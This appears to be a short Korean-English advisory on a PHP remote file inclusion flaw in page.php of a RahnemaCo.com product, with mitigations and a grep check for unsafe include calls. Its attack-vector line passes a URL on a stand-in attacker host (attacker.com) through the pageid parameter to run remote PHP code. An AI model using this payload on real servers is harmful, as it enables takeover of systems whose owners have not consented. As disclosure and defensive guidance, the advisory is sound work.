🇰🇷 한글 설명
RahnemaCo.com 제품의 page.php 파일에 있는 PHP 원격 파일 포함 취약점으로, pageid 매개변수를 통해 외부 파일 URL을 삽입할 수 있다. 공격자는 이를 이용해 악성 PHP 코드를 원격에서 실행하여 서버를 완전히 장악할 수 있다.
💡 쉬운 설명
웹사이트가 사용자 입력을 충분히 검증하지 않아, 공격자가 특수한 링크를 보냄으로써 서버가 외부 악성 파일을 실행하도록 할 수 있는 결함입니다. 이를 통해 서버가 해킹될 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in page.php in an unspecified RahnemaCo.com product, possibly eShop, allows remote attackers to execute arbitrary PHP code via a URL in the pageid parameter.
📍 영향받는 시스템
RahnemaCo.com eShop 및 관련 제품 (구체적인 버전 미명시)
⚔️ 공격 벡터
page.php?pageid=http://attacker.com/malicious.php 형태로 외부 파일 URL을 pageid 파라미터에 전달
🛡️ 대응 방법
page.php에서 pageid 입력값을 화이트리스트로 검증하고, php.ini에서 allow_url_include=Off으로 설정
🔧 검증 코드
$_GET 변수가 include/require에 직접 사용되면 취약점 존재, 화이트리스트 검증이 없으면 위험
grep -r 'include.*\$_GET\|require.*\$_GET' . 2>/dev/null | head -5